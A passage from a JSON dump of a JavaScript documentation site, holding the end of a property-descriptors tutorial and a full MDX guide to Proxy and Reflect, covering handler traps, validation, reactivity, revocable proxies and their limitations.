value: 1,\n      writable: false,\n      enumerable: true,\n      configurable: false\n    })\n    \n    // ❌ Spread loses descriptors\n    const badClone = { ...original }\n    \n    // ✓ This preserves descriptors\n    const goodClone = Object.defineProperties(\n      {},\n      Object.getOwnPropertyDescriptors(original)\n    )\n    \n    console.log(Object.getOwnPropertyDescriptor(goodClone, 'id'))\n    // { value: 1, writable: false, enumerable: true, configurable: false }\n    ```\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What are property descriptors in JavaScript?\">\n    Property descriptors are metadata objects that control how a property behaves — whether it can be modified (`writable`), shown in loops (`enumerable`), or reconfigured (`configurable`). The ECMAScript specification defines these as internal attributes that every object property has, which is how built-in properties like `Math.PI` remain immutable.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between Object.freeze() and Object.seal()?\">\n    `Object.seal()` prevents adding or deleting properties but allows modifying existing values. `Object.freeze()` prevents all changes — no adding, deleting, or modifying. Both are shallow, meaning nested objects remain unaffected. According to MDN, `Object.freeze()` sets both `writable: false` and `configurable: false` on every property.\n  </Accordion>\n\n  <Accordion title=\"Can you undo configurable: false on a property?\">\n    No. Setting `configurable: false` is permanent and irreversible. Once a property is non-configurable, you cannot delete it, change its enumerability, or switch it between data and accessor types. The only change still allowed is setting `writable` from `true` to `false` — never the reverse.\n  </Accordion>\n\n  <Accordion title=\"Why does Object.defineProperty() default flags to false?\">\n    When using `Object.defineProperty()`, unspecified flags default to `false`, making properties restrictive by default. This is the opposite of normal assignment (where all flags default to `true`). MDN recommends always explicitly setting all flags you care about to avoid unexpected behavior from these defaults.\n  </Accordion>\n\n  <Accordion title=\"Do property descriptors affect JSON.stringify()?\">\n    Yes. Non-enumerable properties are excluded from `JSON.stringify()` output, just as they are hidden from `Object.keys()` and `for...in` loops. However, `writable` and `configurable` flags have no effect on serialization. This is how JavaScript hides internal properties like `Array.prototype.length` from serialization.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Getters & Setters\" icon=\"arrows-rotate\" href=\"/beyond/concepts/getters-setters\">\n    Learn more about accessor properties and computed values.\n  </Card>\n  <Card title=\"Proxy & Reflect\" icon=\"shield\" href=\"/beyond/concepts/proxy-reflect\">\n    More powerful object interception beyond property descriptors.\n  </Card>\n  <Card title=\"Object Methods\" icon=\"cube\" href=\"/beyond/concepts/object-methods\">\n    Explore all the methods available on Object for inspection and manipulation.\n  </Card>\n  <Card title=\"Strict Mode\" icon=\"lock\" href=\"/beyond/concepts/strict-mode\">\n    Why property descriptor errors are silent without strict mode.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Object.defineProperty() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty\">\n    Complete reference for defining properties with descriptors.\n  </Card>\n  <Card title=\"Object.getOwnPropertyDescriptor() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor\">\n    How to inspect property descriptors.\n  </Card>\n  <Card title=\"Object.freeze() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze\">\n    Making objects completely immutable.\n  </Card>\n  <Card title=\"Enumerability — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Enumerability_and_ownership_of_properties\">\n    Deep dive into enumerable properties and ownership.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Property flags and descriptors\" icon=\"newspaper\" href=\"https://javascript.info/property-descriptors\">\n    The essential javascript.info guide covering all property flags with clear examples. Includes exercises to test understanding.\n  </Card>\n  <Card title=\"Properties in JavaScript: Definition vs Assignment\" icon=\"newspaper\" href=\"https://2ality.com/2012/08/property-definition-assignment.html\">\n    Dr. Axel Rauschmayer's deep technical analysis of how property definition differs from assignment.\n  </Card>\n  <Card title=\"JavaScript Object Property Descriptors Explained\" icon=\"newspaper\" href=\"https://blog.bitsrc.io/an-introduction-to-object-property-descriptors-in-javascript-3e7d7e4b13f6\">\n    Bit.dev's visual guide with diagrams explaining each flag and when to use them.\n  </Card>\n  <Card title=\"JavaScript Object.defineProperty()\" icon=\"newspaper\" href=\"https://www.programiz.com/javascript/library/object/defineProperty\">\n    Programiz tutorial covering defineProperty() syntax, parameters, and practical examples.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Property Descriptors Explained\" icon=\"video\" href=\"https://www.youtube.com/watch?v=LD1tQEWsjz4\">\n    Clear walkthrough of property descriptors with live coding examples. Good for understanding the basics.\n  </Card>\n  <Card title=\"Object.defineProperty() in JavaScript\" icon=\"video\" href=\"https://www.youtube.com/watch?v=2vHHZZdBDig\">\n    Focused tutorial on defineProperty() covering all flags and real-world applications.\n  </Card>\n  <Card title=\"JavaScript Object Methods: freeze, seal, preventExtensions\" icon=\"video\" href=\"https://www.youtube.com/watch?v=KIQ-h4xYnKY\">\n    Comprehensive comparison of object-level protection methods with practical examples.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/proxy-reflect.mdx",
    "content": "---\ntitle: \"Proxy & Reflect in JavaScript\"\nsidebarTitle: \"Proxy & Reflect: Intercepting Object Operations\"\ndescription: \"Learn JavaScript Proxy and Reflect APIs. Intercept object operations, create reactive systems, and build powerful metaprogramming patterns.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Objects & Properties\"\n\"article:tag\": \"javascript proxy, reflect api, metaprogramming, handler traps, object interception, reactive systems\"\n---\n\nWhat if you could intercept every property access on an object? What if reading `user.name` could trigger a function, or setting `user.age = -5` could throw an error automatically?\n\n```javascript\nconst user = { name: 'Alice', age: 30 }\n\nconst proxy = new Proxy(user, {\n  get(target, prop) {\n    console.log(`Reading ${prop}`)\n    return target[prop]\n  },\n  set(target, prop, value) {\n    if (prop === 'age' && value < 0) {\n      throw new Error('Age cannot be negative')\n    }\n    target[prop] = value\n    return true\n  }\n})\n\nproxy.name       // Logs: \"Reading name\", returns \"Alice\"\nproxy.age = -5   // Error: Age cannot be negative\n```\n\nThis is the power of **[Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy)** and **[Reflect](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect)**. Proxies let you intercept and customize fundamental operations on objects, while Reflect provides the default behavior you can forward to. Together, they enable validation, logging, reactive data binding, and other metaprogramming patterns. According to the ECMAScript specification, Proxy traps map directly to [internal methods](https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots) that define how all JavaScript objects behave at the engine level.\n\n<Info>\n**What you'll learn in this guide:**\n- What Proxy is and how it wraps objects to intercept operations\n- The 13 handler traps (get, set, has, deleteProperty, apply, construct, and more)\n- Why Reflect exists and how it complements Proxy\n- Practical patterns: validation, logging, reactive systems, access control\n- Revocable proxies for temporary access\n- Limitations and gotchas to avoid\n</Info>\n\n<Warning>\n**Prerequisites:** This guide builds on [Property Descriptors](/beyond/concepts/property-descriptors) and [Object Methods](/beyond/concepts/object-methods). Understanding how objects work at a lower level helps you see why Proxy is so powerful.\n</Warning>\n\n---\n\n## What is a Proxy?\n\nA **Proxy** is a wrapper around an object (called the \"target\") that intercepts operations like reading properties, writing properties, deleting properties, and more. You define custom behavior by providing a \"handler\" object with \"trap\" methods.\n\nThink of a Proxy as a security guard standing between you and an object. Every time you try to do something with the object, the guard can inspect, modify, or block the operation.\n\n```javascript\nconst target = { message: 'hello' }\n\nconst handler = {\n  get(target, prop) {\n    return prop in target ? target[prop] : 'Property not found'\n  }\n}\n\nconst proxy = new Proxy(target, handler)\n\nconsole.log(proxy.message)  // \"hello\"\nconsole.log(proxy.missing)  // \"Property not found\"\n```\n\nWithout a handler, a Proxy acts as a transparent pass-through:\n\n```javascript\nconst target = { x: 10 }\nconst proxy = new Proxy(target, {})  // Empty handler\n\nproxy.y = 20\nconsole.log(target.y)  // 20 - operation forwarded to target\n```\n\n---\n\n## The Security Guard Analogy\n\n```\n┌─────────────────────────────────────────────────────────────────────────┐\n│                       PROXY: THE SECURITY GUARD                          │\n├─────────────────────────────────────────────────────────────────────────┤\n│                                                                          │\n│    YOUR CODE                    PROXY                     TARGET OBJECT  │\n│    ─────────                    ─────                     ─────────────  │\n│                                                                          │\n│    ┌────────┐               ┌──────────┐                 ┌──────────┐   │\n│    │        │   obj.name    │  GUARD   │   target.name   │  { name: │   │\n│    │  You   │  ──────────►  │          │  ─────────────► │   'Bob'  │   │\n│    │        │               │  • Check │                 │  }       │   │\n│    │        │  ◄──────────  │  • Log   │  ◄───────────── │          │   │\n│    │        │    \"Bob\"      │  • Modify│      \"Bob\"      │          │   │\n│    └────────┘               └──────────┘                 └──────────┘   │\n│                                                                          │\n│    The guard can:                                                        │\n│    • Let the operation through unchanged                                 │\n│    • Modify the result before returning it                              │\n│    • Block the operation entirely (throw an error)                      │\n│    • Log the operation for debugging                                    │\n│                                                                          │\n└─────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## The 13 Proxy Traps\n\nA Proxy can intercept 13 different operations. Each trap corresponds to an internal JavaScript operation:\n\n| Trap | Intercepts | Example Operation |\n|------|-----------|-------------------|\n| `get` | Reading a property | `obj.prop`, `obj['prop']` |\n| `set` | Writing a property | `obj.prop = value` |\n| `has` | The `in` operator | `'prop' in obj` |\n| `deleteProperty` | The `delete` operator | `delete obj.prop` |\n| `apply` | Function calls | `func()`, `func.call()` |\n| `construct` | The `new` operator | `new Constructor()` |\n| `getPrototypeOf` | Getting prototype | `Object.getPrototypeOf(obj)` |\n| `setPrototypeOf` | Setting prototype | `Object.setPrototypeOf(obj, proto)` |\n| `isExtensible` | Checking extensibility | `Object.isExtensible(obj)` |\n| `preventExtensions` | Preventing extensions | `Object.preventExtensions(obj)` |\n| `getOwnPropertyDescriptor` | Getting descriptor | `Object.getOwnPropertyDescriptor(obj, prop)` |\n| `defineProperty` | Defining property | `Object.defineProperty(obj, prop, desc)` |\n| `ownKeys` | Listing own keys | `Object.keys(obj)`, `for...in` |\n\nLet's explore the most commonly used traps in detail.\n\n---\n\n## The `get` Trap: Intercepting Property Access\n\nThe `get` trap fires whenever you read a property:\n\n```javascript\nconst handler = {\n  get(target, prop, receiver) {\n    console.log(`Accessing: ${prop}`)\n    return target[prop]\n  }\n}\n\nconst user = new Proxy({ name: 'Alice' }, handler)\nconsole.log(user.name)  // Logs: \"Accessing: name\", returns \"Alice\"\n```\n\n**Parameters:**\n- `target` - The original object\n- `prop` - The property name (string or Symbol)\n- `receiver` - The proxy itself (or an object inheriting from it)\n\n### Default Values Pattern\n\nReturn a default value for missing properties:\n\n```javascript\nconst defaults = new Proxy({}, {\n  get(target, prop) {\n    return prop in target ? target[prop] : 0\n  }\n})\n\ndefaults.x = 10\nconsole.log(defaults.x)       // 10\nconsole.log(defaults.missing) // 0 (not undefined!)\n```\n\n### Negative Array Indices\n\nAccess array elements from the end with negative indices:\n\n```javascript\nfunction createNegativeArray(arr) {\n  return new Proxy(arr, {\n    get(target, prop, receiver) {\n      const index = Number(prop)\n      if (index < 0) {\n        return target[target.length + index]\n      }\n      return Reflect.get(target, prop, receiver)\n    }\n  })\n}\n\nconst arr = createNegativeArray([1, 2, 3, 4, 5])\nconsole.log(arr[-1])  // 5 (last element)\nconsole.log(arr[-2])  // 4 (second to last)\n```\n\n---\n\n## The `set` Trap: Intercepting Property Assignment\n\nThe `set` trap fires when you assign a value to a property:\n\n```javascript\nconst handler = {\n  set(target, prop, value, receiver) {\n    console.log(`Setting ${prop} to ${value}`)\n    target[prop] = value\n    return true  // Must return true for success\n  }\n}\n\nconst obj = new Proxy({}, handler)\nobj.x = 10  // Logs: \"Setting x to 10\"\n```\n\n<Warning>\nThe `set` trap **must return `true`** for successful writes. Returning `false` (or nothing) causes a `TypeError` in strict mode.\n</Warning>\n\n### Validation Pattern\n\nValidate data before allowing assignment:\n\n```javascript\nconst validator = {\n  set(target, prop, value) {\n    if (prop === 'age') {\n      if (typeof value !== 'number') {\n        throw new TypeError('Age must be a number')\n      }\n      if (value < 0 || value > 150) {\n        throw new RangeError('Age must be between 0 and 150')\n      }\n    }\n    target[prop] = value\n    return true\n  }\n}\n\nconst person = new Proxy({}, validator)\n\nperson.name = 'Alice'  // Works fine\nperson.age = 30        // Works fine\nperson.age = -5        // RangeError: Age must be between 0 and 150\nperson.age = 'thirty'  // TypeError: Age must be a number\n```\n\n---\n\n## The `has` Trap: Intercepting `in` Operator\n\nThe `has` trap intercepts the `in` operator:\n\n```javascript\nconst range = new Proxy({ start: 1, end: 10 }, {\n  has(target, prop) {\n    const num = Number(prop)\n    return num >= target.start && num <= target.end\n  }\n})\n\nconsole.log(5 in range)   // true\nconsole.log(15 in range)  // false\nconsole.log(1 in range)   // true\n```\n\n---\n\n## The `deleteProperty` Trap\n\nIntercept property deletion:\n\n```javascript\nconst protected = new Proxy({ id: 1, name: 'Alice' }, {\n  deleteProperty(target, prop) {\n    if (prop === 'id') {\n      throw new Error('Cannot delete id property')\n    }\n    delete target[prop]\n    return true\n  }\n})\n\ndelete protected.name  // Works\ndelete protected.id    // Error: Cannot delete id property\n```\n\n---\n\n## The `apply` and `construct` Traps\n\nFor function proxies, you can intercept calls and `new` invocations:\n\n```javascript\nfunction sum(a, b) {\n  return a + b\n}\n\nconst loggedSum = new Proxy(sum, {\n  apply(target, thisArg, args) {\n    console.log(`Called with: ${args}`)\n    return target.apply(thisArg, args)\n  }\n})\n\nloggedSum(1, 2)  // Logs: \"Called with: 1,2\", returns 3\n```\n\nThe `construct` trap intercepts `new`:\n\n```javascript\nclass User {\n  constructor(name) {\n    this.name = name\n  }\n}\n\nconst TrackedUser = new Proxy(User, {\n  construct(target, args) {\n    console.log(`Creating user: ${args[0]}`)\n    return new target(...args)\n  }\n})\n\nconst user = new TrackedUser('Alice')  // Logs: \"Creating user: Alice\"\n```\n\n---\n\n## The `ownKeys` Trap: Filtering Properties\n\nThe `ownKeys` trap intercepts operations that list object keys:\n\n```javascript\nconst user = {\n  name: 'Alice',\n  age: 30,\n  _password: 'secret123'\n}\n\nconst safeUser = new Proxy(user, {\n  ownKeys(target) {\n    return Object.keys(target).filter(key => !key.startsWith('_'))\n  }\n})\n\nconsole.log(Object.keys(safeUser))  // [\"name\", \"age\"] - _password hidden\n```\n\n---\n\n## Why Reflect Exists\n\n**[Reflect](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect)** is a built-in object with methods that mirror every Proxy trap. It provides the default behavior you'd otherwise have to implement manually. MDN documents that Reflect was introduced alongside Proxy in ES2015 specifically to provide a clean, function-based API for object operations that previously required operators or `Object.*` methods.\n\n| Operation | Without Reflect | With Reflect |\n|-----------|-----------------|--------------|\n| Read property | `target[prop]` | `Reflect.get(target, prop, receiver)` |\n| Write property | `target[prop] = value` | `Reflect.set(target, prop, value, receiver)` |\n| Delete property | `delete target[prop]` | `Reflect.deleteProperty(target, prop)` |\n| Check property | `prop in target` | `Reflect.has(target, prop)` |\n\n### Why Use Reflect?\n\n1. **Proper return values**: `Reflect.set` returns `true`/`false` instead of the assigned value\n2. **Forwards the receiver**: Essential for getters/setters in inheritance\n3. **Cleaner syntax**: Consistent function-based API\n\n```javascript\nconst handler = {\n  get(target, prop, receiver) {\n    console.log(`Reading ${prop}`)\n    return Reflect.get(target, prop, receiver)  // Proper forwarding\n  },\n  set(target, prop, value, receiver) {\n    console.log(`Writing ${prop}`)\n    return Reflect.set(target, prop, value, receiver)  // Returns boolean\n  }\n}\n```\n\n### The Receiver Matters\n\nThe `receiver` parameter is crucial when the target has getters:\n\n```javascript\nconst user = {\n  _name: 'Alice',\n  get name() {\n    return this._name\n  }\n}\n\nconst proxy = new Proxy(user, {\n  get(target, prop, receiver) {\n    // ❌ WRONG - 'this' will be target, not proxy\n    // return target[prop]\n    \n    // ✓ CORRECT - 'this' will be receiver (the proxy)\n    return Reflect.get(target, prop, receiver)\n  }\n})\n```\n\n---\n\n## Practical Patterns\n\n### Observable Objects (Reactive Data)\n\nCreate objects that notify you when they change. This is how frameworks like Vue.js implement reactivity. According to the Vue.js documentation, Vue 3 replaced `Object.defineProperty()` (used in Vue 2) with `Proxy` for its reactivity system, enabling detection of property additions and deletions that were previously impossible:\n\n```javascript\nfunction observable(target, onChange) {\n  return new Proxy(target, {\n    set(target, prop, value, receiver) {\n      const oldValue = target[prop]\n      const result = Reflect.set(target, prop, value, receiver)\n      if (result && oldValue !== value) {\n        onChange(prop, oldValue, value)\n      }\n      return result\n    }\n  })\n}\n\nconst state = observable({ count: 0 }, (prop, oldVal, newVal) => {\n  console.log(`${prop} changed from ${oldVal} to ${newVal}`)\n})\n\nstate.count = 1  // Logs: \"count changed from 0 to 1\"\nstate.count = 2  // Logs: \"count changed from 1 to 2\"\n```\n\n### Access Control\n\nHide private properties (those starting with `_`):\n\n```javascript\nconst privateHandler = {\n  get(target, prop) {\n    if (prop.startsWith('_')) {\n      throw new Error(`Access denied: ${prop} is private`)\n    }\n    return Reflect.get(...arguments)\n  },\n  set(target, prop, value) {\n    if (prop.startsWith('_')) {\n      throw new Error(`Access denied: ${prop} is private`)\n    }\n    return Reflect.set(...arguments)\n  },\n  ownKeys(target) {\n    return Object.keys(target).filter(key => !key.startsWith('_'))\n  }\n}\n\nconst user = new Proxy({ name: 'Alice', _password: 'secret' }, privateHandler)\n\nconsole.log(user.name)           // \"Alice\"\nconsole.log(Object.keys(user))   // [\"name\"] - _password hidden\nconsole.log(user._password)      // Error: Access denied\n```\n\n### Logging/Debugging\n\nLog all operations on an object:\n\n```javascript\nfunction createLogged(target, name = 'Object') {\n  return new Proxy(target, {\n    get(target, prop, receiver) {\n      console.log(`[${name}] GET ${String(prop)}`)\n      return Reflect.get(target, prop, receiver)\n    },\n    set(target, prop, value, receiver) {\n      console.log(`[${name}] SET ${String(prop)} = ${value}`)\n      return Reflect.set(target, prop, value, receiver)\n    }\n  })\n}\n\nconst user = createLogged({ name: 'Alice' }, 'User')\nuser.name        // [User] GET name\nuser.age = 30    // [User] SET age = 30\n```\n\n---\n\n## Revocable Proxies\n\nSometimes you need to grant temporary access to an object. `Proxy.revocable()` creates a proxy that can be disabled:\n\n```javascript\nconst target = { secret: 'classified info' }\nconst { proxy, revoke } = Proxy.revocable(target, {})\n\nconsole.log(proxy.secret)  // \"classified info\"\n\nrevoke()  // Disable the proxy\n\nconsole.log(proxy.secret)  // TypeError: Cannot perform 'get' on a proxy that has been revoked\n```\n\nThis is useful for:\n- Temporary access tokens\n- Sandbox environments\n- Revoking permissions after a timeout\n\n---\n\n## Limitations and Gotchas\n\n### Built-in Objects with Internal Slots\n\nSome built-in objects like `Map`, `Set`, `Date`, and `Promise` use internal slots that Proxy can't intercept:\n\n```javascript\nconst map = new Map()\nconst proxy = new Proxy(map, {})\n\nproxy.set('key', 'value')  // TypeError: Method Map.prototype.set called on incompatible receiver\n```\n\n**Workaround:** Bind methods to the target:\n\n```javascript\nconst map = new Map()\nconst proxy = new Proxy(map, {\n  get(target, prop, receiver) {\n    const value = Reflect.get(target, prop, receiver)\n    return typeof value === 'function' ? value.bind(target) : value\n  }\n})\n\nproxy.set('key', 'value')  // Works!\nconsole.log(proxy.get('key'))  // \"value\"\n```\n\n### Private Class Fields\n\nPrivate fields (`#field`) also use internal slots and don't work through proxies:\n\n```javascript\nclass Secret {\n  #hidden = 'secret'\n  reveal() {\n    return this.#hidden\n  }\n}\n\nconst secret = new Secret()\nconst proxy = new Proxy(secret, {})\n\nproxy.reveal()  // TypeError: Cannot read private member\n```\n\n### Proxy Identity\n\nA proxy is a different object from its target:\n\n```javascript\nconst target = {}\nconst proxy = new Proxy(target, {})\n\nconsole.log(proxy === target)  // false\n\nconst set = new Set([target])\nconsole.log(set.has(proxy))    // false - they're different objects\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Proxy wraps objects** to intercept operations like property access, assignment, deletion, and function calls.\n\n2. **Handlers define traps** that are methods named after the operations they intercept (get, set, has, deleteProperty, etc.).\n\n3. **There are 13 traps** covering all fundamental object operations, from property access to prototype manipulation.\n\n4. **The `set` trap must return `true`** for successful writes, or you'll get a TypeError in strict mode.\n\n5. **Reflect provides default behavior** with the same method names as Proxy traps, making forwarding clean and correct.\n\n6. **Use `Reflect.get/set` with `receiver`** to properly handle getters/setters in inheritance chains.\n\n7. **Revocable proxies** can be disabled with `revoke()`, useful for temporary access patterns.\n\n8. **Built-in objects with internal slots** (Map, Set, Date) need the method-binding workaround.\n\n9. **Private class fields don't work** through proxies due to internal slot access.\n\n10. **Proxies enable powerful patterns** like validation, observable data, access control, and debugging.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"What happens if a set trap returns false?\">\n    **Answer:**\n    \n    In strict mode, returning `false` from a `set` trap causes a `TypeError`. In non-strict mode, the assignment silently fails.\n    \n    ```javascript\n    'use strict'\n    \n    const proxy = new Proxy({}, {\n      set() {\n        return false  // Or return nothing (undefined)\n      }\n    })\n    \n    proxy.x = 10  // TypeError: 'set' on proxy returned false\n    ```\n    \n    Always return `true` from `set` traps when the operation should succeed.\n  </Accordion>\n  \n  <Accordion title=\"Why use Reflect.get instead of target[prop]?\">\n    **Answer:**\n    \n    `Reflect.get(target, prop, receiver)` properly forwards the `receiver`, which is essential when the target has getters that use `this`:\n    \n    ```javascript\n    const user = {\n      firstName: 'Alice',\n      lastName: 'Smith',\n      get fullName() {\n        return `${this.firstName} ${this.lastName}`\n      }\n    }\n    \n    const proxy = new Proxy(user, {\n      get(target, prop, receiver) {\n        // With target[prop], 'this' in the getter would be 'target'\n        // With Reflect.get, 'this' in the getter is 'receiver' (the proxy)\n        return Reflect.get(target, prop, receiver)\n      }\n    })\n    ```\n    \n    This matters when you proxy an object that inherits from another proxy.\n  </Accordion>\n  \n  <Accordion title=\"How can you make a proxy work with Map or Set?\">\n    **Answer:**\n    \n    Built-in objects like Map and Set use internal slots that proxies can't access. The workaround is to bind methods to the original target:\n    \n    ```javascript\n    const map = new Map()\n    \n    const proxy = new Proxy(map, {\n      get(target, prop, receiver) {\n        const value = Reflect.get(target, prop, receiver)\n        // If it's a function, bind it to the target\n        return typeof value === 'function' ? value.bind(target) : value\n      }\n    })\n    \n    proxy.set('key', 'value')  // Works now!\n    ```\n  </Accordion>\n  \n  <Accordion title=\"What's the difference between Proxy and Object.defineProperty for validation?\">\n    **Answer:**\n    \n    `Object.defineProperty` only validates a single, predefined property. Proxy intercepts all operations dynamically:\n    \n    ```javascript\n    // defineProperty: Must define each property in advance\n    const user = {}\n    Object.defineProperty(user, 'age', {\n      set(value) {\n        if (value < 0) throw new Error('Invalid age')\n        this._age = value\n      }\n    })\n    \n    // Proxy: Works for any property, including new ones\n    const user2 = new Proxy({}, {\n      set(target, prop, value) {\n        if (prop === 'age' && value < 0) {\n          throw new Error('Invalid age')\n        }\n        return Reflect.set(...arguments)\n      }\n    })\n    ```\n    \n    Proxy is more flexible for dynamic validation rules.\n  </Accordion>\n  \n  <Accordion title=\"How do you create a proxy that can be disabled later?\">\n    **Answer:**\n    \n    Use `Proxy.revocable()` instead of `new Proxy()`:\n    \n    ```javascript\n    const { proxy, revoke } = Proxy.revocable({ data: 'sensitive' }, {})\n    \n    console.log(proxy.data)  // \"sensitive\"\n    \n    revoke()  // Disable the proxy permanently\n    \n    console.log(proxy.data)  // TypeError: proxy has been revoked\n    ```\n    \n    Once revoked, the proxy cannot be re-enabled. All operations on it throw TypeError.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is a JavaScript Proxy?\">\n    A Proxy is a wrapper around an object (the \"target\") that intercepts fundamental operations like property access, assignment, and deletion. You define custom behavior through \"trap\" methods in a handler object. According to the ECMAScript specification, Proxy traps correspond to 13 internal object methods, covering every way JavaScript interacts with objects.\n  </Accordion>\n\n  <Accordion title=\"Why use Reflect with Proxy instead of direct property access?\">\n    `Reflect` methods properly forward the `receiver` parameter, which is essential when the target has getters that use `this`. Using `target[prop]` directly can cause `this` to reference the wrong object in inheritance chains. MDN recommends always using `Reflect.get()` and `Reflect.set()` inside Proxy traps for correct behavior.\n  </Accordion>\n\n  <Accordion title=\"Can JavaScript Proxy work with Map, Set, and Date?\">\n    Not directly. Built-in objects like `Map`, `Set`, and `Date` use internal slots that Proxy cannot intercept. Calling `proxy.set('key', 'value')` on a proxied Map throws a `TypeError`. The workaround is to bind methods to the original target inside the `get` trap, ensuring they execute with the correct `this` context.\n  </Accordion>\n\n  <Accordion title=\"What is a revocable proxy?\">\n    A revocable proxy is created with `Proxy.revocable()` instead of `new Proxy()`. It returns both a `proxy` and a `revoke` function. Calling `revoke()` permanently disables the proxy — any subsequent operation throws a `TypeError`. This pattern is useful for granting temporary access to objects or implementing sandbox environments.\n  </Accordion>\n\n  <Accordion title=\"How does Proxy differ from Object.defineProperty() for validation?\">\n    `Object.defineProperty()` validates only predefined, individual properties. Proxy intercepts all operations dynamically, including properties that do not yet exist. Vue.js switched from `Object.defineProperty()` (Vue 2) to `Proxy` (Vue 3) precisely because Proxy can detect property additions and deletions that `defineProperty` cannot.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Property Descriptors\" icon=\"sliders\" href=\"/beyond/concepts/property-descriptors\">\n    Lower-level property control with writable, enumerable, and configurable flags.\n  </Card>\n  <Card title=\"Getters & Setters\" icon=\"arrows-rotate\" href=\"/beyond/concepts/getters-setters\">\n    Computed properties and validation on individual object properties.\n  </Card>\n  <Card title=\"Object Methods\" icon=\"cube\" href=\"/beyond/concepts/object-methods\">\n    Built-in methods for object inspection and manipulation.\n  </Card>\n  <Card title=\"Design Patterns\" icon=\"sitemap\" href=\"/concepts/design-patterns\">\n    The Proxy pattern in the context of software design patterns.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Proxy — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy\">\n    Complete reference for the Proxy object, including all 13 traps and their parameters.\n  </Card>\n  <Card title=\"Reflect — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect\">\n    The Reflect namespace object and all its static methods.\n  </Card>\n  <Card title=\"Proxy Handler — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/Proxy\">\n    Detailed documentation of all handler trap methods.\n  </Card>\n</CardGroup>\n\n---\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Proxy and Reflect — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/proxy\">\n    The most comprehensive tutorial on Proxy and Reflect with exercises. Covers all traps with practical examples and common pitfalls.\n  </Card>\n  <Card title=\"ES6 Proxies in Depth — Ponyfoo\" icon=\"newspaper\" href=\"https://ponyfoo.com/articles/es6-proxies-in-depth\">\n    Deep technical dive into Proxy internals and advanced patterns. Great for understanding the metaprogramming capabilities.\n  </Card>\n  <Card title=\"Understanding JavaScript Proxy — LogRocket\" icon=\"newspaper\" href=\"https://blog.logrocket.com/practical-use-cases-for-javascript-es6-proxies/\">\n    Practical use cases including data validation, logging, and caching. Shows real-world applications in production code.\n  </Card>\n  <Card title=\"Metaprogramming with Proxies — 2ality\" icon=\"newspaper\" href=\"https://2ality.com/2014/12/es6-proxies.html\">\n    Dr. Axel Rauschmayer's exploration of Proxy as a metaprogramming tool. Includes the theory behind invariants and traps.\n  </Card>\n</CardGroup>\n\n---\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"JavaScript Proxy in 100 Seconds — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=KJ3uYyUp-yo\">\n    Quick, entertaining overview of Proxy fundamentals. Perfect if you want to grasp the concept in minutes.\n  </Card>\n  <Card title=\"JavaScript Proxy Explained — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=3WYW3NLLnZ8\">\n    Clear, beginner-friendly walkthrough of Proxy basics with practical examples. Great starting point for hands-on learning.\n  </Card>\n  <Card title=\"Proxies are Awesome — Brendan Eich\" icon=\"video\" href=\"https://www.youtube.com/watch?v=sClk6aB_CPk\">\n    JSConf talk by JavaScript's creator on why Proxies were added to the language. Provides historical context and design rationale.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/requestanimationframe.mdx",
